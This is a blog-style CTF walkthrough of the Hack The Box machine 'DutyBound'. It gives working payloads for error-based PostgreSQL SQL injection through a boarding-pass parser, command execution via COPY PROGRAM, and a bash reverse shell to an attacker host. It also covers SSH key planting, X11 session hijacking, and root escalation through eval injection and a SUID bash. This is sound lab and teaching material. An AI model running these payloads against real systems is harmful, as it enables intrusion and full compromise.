Peter Rakolcza Get in touch
← back to archive
// technical_debrief Hard

DutyBound

DutyBound is a hard-difficulty Linux box built around a duty-free departure-control web app (airsnacks.htb) whose boarding-pass endpoint parses raw IATA BCBP (Bar Coded Boarding Pass, Resolution 792) strings and writes the parsed fields straight into a PostgreSQL audit table.

platform
Hack The Box
target_os
Linux (Ubuntu 22.04)
difficulty
Hard
season
Season 12
logged
November 3, 2026
exploit_vectors → BCBP parser mappingError-based PostgreSQL SQLiRCE via pg_execute_server_programX11 session hijack → user

Summary of Exploitation

DutyBound is a hard-difficulty Linux box built around a duty-free departure-control web app (airsnacks.htb) whose boarding-pass endpoint parses raw IATA BCBP (Bar Coded Boarding Pass, Resolution 792) strings and writes the parsed fields straight into a PostgreSQL audit table. The chain:

  1. BCBP parser mapping — /checkout/boarding-pass/verify walks the mandatory + conditional BCBP structure. The free-form airline-individual-use “tail” field is unbounded and lands verbatim in an INSERT.
  2. Error-based PostgreSQL SQLi — breaking out of the tail’s quoted string and forcing a cast error ('||cast((subquery)AS int)||') reflects arbitrary query output back through the JSON error detail.
  3. RCE via pg_execute_server_program — the DB role airsnacks_app holds pg_execute_server_program, so stacked COPY … FROM/TO PROGRAM yields command execution and a reverse shell as the postgres OS user.
  4. X11 session hijack → user — a logged-in kiosk desktop runs on :0 with X access control disabled. Triggering the Openbox Ctrl+Alt+T → xterm binding spawns a terminal as dutyfree-kiosk, capturing the user flag.
  5. systemd .path + Bash eval → root — dutyfree-kiosk (member of pos-ops) can write /opt/vrs/data/duty-rates.csv, which a root-owned .path unit watches and feeds to a script with an unsanitised eval. A crafted CSV field executes as root.

Recon Phase

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Port State Service Version
22 open ssh OpenSSH (Ubuntu)
443 open https nginx — self-signed cert CN airsnacks.htb
  • Single Linux web host; the TLS certificate CN gives the vhost airsnacks.htb.
  • Front end is a Flask app (dcs_bridge) behind nginx, backed by PostgreSQL 18.6 (learned via SQLi).
echo "<target-ip>  airsnacks.htb" | sudo tee -a /etc/hosts

Web Enumeration

The app is a duty-free checkout. The interesting surface is the boarding-pass verifier, which takes a raw BCBP string as JSON:

POST /checkout/boarding-pass/verify
Content-Type: application/json
Cookie: session=<flask session cookie>

{"raw": "<IATA BCBP string>"}

All requests below were sent through Burp Repeater, authenticated with the checkout session cookie.

Understanding the BCBP format

A BCBP string is positional, not delimited. It has three parts:

  1. Mandatory block — fixed-width fields: M + leg count + passenger name (20) + e-ticket flag + PNR (7) + from (3) + to (3) + carrier (3) + flight (5) + Julian date (3) + compartment + seat (4) + check-in seq (5) + passenger status.
  2. Conditional block — introduced by > + version digit, then two structured messages (a unique one and a repeated per-leg one), each prefixed by its own 2-char hex length.
  3. Airline-individual-use (“tail”) — free-form, no length limit, appended at the very end.

The detail that makes exploitation work: the byte right after the passenger status is a 2-char hex length of the entire conditional + airline-use section. Change the tail and you must bump this byte by the number of bytes added, or the parser truncates the payload.

A known-good pass (tail empty). The length byte is 3B (0x3B = 59, the length of everything from >6 onward):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 13B>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K

→ 200 OK. Feeding partial passes walks the validator states (BCBP_ERR_FORMAT_CODE, BCBP_ERR_CONDITIONAL_REQUIRED item 6, BCBP_ERR_DOC_TYPE item 16), confirming the parser consumes each field in order and appends the tail untouched.

Length rule for every payload below: the fixed part of the conditional block is 59 bytes. For a tail of length T, set the length byte to hex(59 + T) (uppercase, 2 chars). The byte is pre-computed in each raw value.


The SQL Injection

A single quote in the tail (T = 1 → length byte 0x3C):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 13C>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K '

Response — the parsed tail went unparameterised into an INSERT:

{"detail":"unterminated quoted string at or near \"…\"", ...}

Because the error is reflected, extraction is error-based via a cast: break out of the string and cast a text subquery to int, so Postgres embeds the result in the type error.

tail payload :  '||cast((<text subquery>)AS int)||'
server error :  invalid input syntax for type integer: "<DATA>"

Version (tail = '||cast((SELECT version())AS int)||', T = 36 → 0x5F):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 15F>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K '||cast((SELECT version())AS int)||'
{"detail":"invalid input syntax for type integer: \"PostgreSQL 18.6 …\""}

Current user (tail = '||cast((SELECT current_user)AS int)||', T = 39 → 0x62) → airsnacks_app.

Role memberships — same cast wrapper around:

SELECT string_agg(r.rolname,',') FROM pg_auth_members m
  JOIN pg_roles r ON r.oid=m.roleid
  JOIN pg_roles u ON u.oid=m.member
  WHERE u.rolname=current_user

→ includes pg_execute_server_program. That grant turns the SQLi into OS command execution.

Fact Value
Backend PostgreSQL 18.6
DB user airsnacks_app
Target table bp_scan_audit
Superuser? No — but holds pg_execute_server_program

Exploitation Phase

Step 1 — SQLi → RCE as postgres (COPY … PROGRAM)

The audit INSERT auto-commits, so stacked queries persist. Break out of the string value and the VALUES(...) parenthesis with x'); … ; -- , and use $$-dollar-quoting to avoid quote escaping.

Prove execution — run id into a table (tail T = 105 → length byte 0xA4):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 1A4>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K x'); DROP TABLE IF EXISTS cmd_out; CREATE TABLE cmd_out(line text); COPY cmd_out FROM PROGRAM $$id$$; --

Read the output back through the error channel (tail = '||cast((SELECT string_agg(line,chr(10)) FROM cmd_out)AS int)||', T = 64 → 0x7B):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 17B>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K '||cast((SELECT string_agg(line,chr(10)) FROM cmd_out)AS int)||'
{"detail":"invalid input syntax for type integer: \"uid=…(postgres) …\""}

Reverse shell. Start a listener (rlwrap nc -lvnp 9001), then fire a TO PROGRAM payload — single-quoted inner command keeps the JSON free of double quotes. Example for <attacker-ip>:9001 (T = 91 → length byte 0x96; recompute if your IP length differs):

M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 196>60B1WW6225BAC 2A014123456789000AC AC 1234567890123    20K x'); COPY (SELECT 1) TO PROGRAM $$bash -c 'bash -i >& /dev/tcp/<attacker-ip>/9001 0>&1'$$; --

A shell lands as postgres. The app tree confirms the design:

cat /opt/vrs/airsnacksdf/dcs_bridge/config.py   # DB_DSN / JWT_SECRET / SECRET_KEY (env, dev defaults)
cat /opt/vrs/airsnacksdf/db/roles.sql           # CREATE ROLE airsnacks_app … PASSWORD 'airsnacks';
                                                #   GRANT pg_execute_server_program TO airsnacks_app;

The airsnacks password reuses onto no local Unix account, and su fails from the non-TTY COPY PROGRAM shell. Get a stable TTY by dropping a key in and SSHing back in as postgres:

mkdir -p ~/.ssh && echo 'ssh-rsa AAAA…your-pubkey… kali@exegol' >> ~/.ssh/authorized_keys
ssh -i id_rsa postgres@airsnacks.htb

Step 2 — X11 session hijack → shell as dutyfree-kiosk (USER)

A graphical kiosk session is logged in on display :0 (Firefox under Openbox), and X access control is off — :0 accepts connections with no cookie:

export DISPLAY=:0
xdpyinfo | head         # succeeds → we can drive the kiosk's X server
scrot -o /tmp/s.png     # optional: snapshot the live desktop to confirm what's on screen

Openbox’s keybindings show the way in — Ctrl+Alt+T spawns an xterm, which runs as the session owner, dutyfree-kiosk:

grep -A2 -i 'C-A-t\|xterm' /etc/xdg/openbox/rc.xml

The manual breakout: send Ctrl+Alt+T to :0 to open a terminal as dutyfree-kiosk, then type into it. Two ways to deliver the keystroke:

  • Live, by hand (cleanest): no viewer is installed, so upload a jammy-matched x11vnc, run it bound to localhost, and tunnel it out over the postgres SSH session — then press the hotkey yourself in the viewer:
    # target (as postgres), DISPLAY=:0 set
    ./x11vnc -display :0 -nopw -localhost -rfbport 5900 -bg
    # exegol
    ssh -i id_rsa -N -L 5900:127.0.0.1:5900 postgres@airsnacks.htb &
    vncviewer 127.0.0.1:5900        # watch the kiosk, press Ctrl+Alt+T
  • No upload (XTEST): xdotool isn’t present, but python3-xlib is. Synthesising the key via XTEST on :0 triggers the same Openbox binding (build the keycode map from get_keyboard_mapping() — keysym_to_keycode returns 0 on this box).

Either way an xterm opens as dutyfree-kiosk. In it, write the flag somewhere world-readable so you can read it from the postgres shell:

id > /tmp/k.out                      # uid=1000(dutyfree-kiosk)
cat ~/user.txt >> /tmp/k.out
cat /home/dutyfree-kiosk/user.txt    # USER FLAG

Step 3 — Local enumeration as dutyfree-kiosk

id                                   # groups=…,pos-ops
ls -la /opt/vrs/data/                # duty-rates.csv — group pos-ops, group-writable
systemctl cat vrs-duty-apply.path vrs-duty-apply.service

A root-owned .path unit watches the CSV and runs a script as root (no User=):

# /etc/systemd/system/vrs-duty-apply.path
[Path]
PathModified=/opt/vrs/data/duty-rates.csv
Unit=vrs-duty-apply.service
# /opt/vrs/bin/apply-duty-rates.sh  (root, 0755, not writable)
while IFS=, read -r tax_class duty_pct vat_pct; do
    # only duty_pct / vat_pct are validated numeric — tax_class is NOT
    eval "${tax_class}=${duty_pct}"
done < /opt/vrs/data/duty-rates.csv

eval on the unvalidated tax_class field is arbitrary command execution as root, and dutyfree-kiosk (via pos-ops) controls the file that triggers it.

Step 4 — .path unit + eval injection → Root

Write a CSV row whose first field is a command, terminated so the trailing = assignment still parses. SUID /bin/bash is the simplest payoff — as dutyfree-kiosk:

echo 'chmod u+s /bin/bash;z,1,1' > /opt/vrs/data/duty-rates.csv

The .path unit fires, root runs eval "chmod u+s /bin/bash;z=1", and /bin/bash becomes SUID-root:

ls -l /bin/bash          # -rwsr-xr-x … root root
/bin/bash -p

Root Flag Successfully Obtained

# euid=0(root)
cat /root/root.txt

Key Takeaways

  • A parser is attack surface. The BCBP endpoint’s unbounded airline-use tail flowed straight into an INSERT — the whole foothold was a structured-format parser trusting one free-form field.
  • Error channels leak everything. No UNION or blind timing needed; a single cast(... AS int) turns PostgreSQL’s own type error into a read primitive.
  • pg_execute_server_program is RCE. A non-superuser role with this grant plus COPY … PROGRAM is shell access as postgres — treat the grant accordingly.
  • A desktop on :0 with access control off is a session takeover. No password, no exploit — a window-manager hotkey binding plus the ability to send a keystroke to :0 pivots straight to the logged-in user.
  • Root-owned .path watchers are a classic trap. A group-writable trigger file plus a privileged script that evals one of its fields collapses to root; validate (or never eval) every field, not just the numeric ones.

Full Attack Chain

flask session cookie
   └─ BCBP /verify tail field  ──>  error-based PostgreSQL SQLi (cast-leak)
        └─ pg_execute_server_program  ──>  COPY … PROGRAM  ──>  shell as postgres
             └─ X11 :0 (access control off)  ──>  Ctrl+Alt+T → xterm  ──>  dutyfree-kiosk   [USER]
                  └─ pos-ops writes duty-rates.csv  ──>  root .path unit  ──>  eval injection  ──>  root   [ROOT]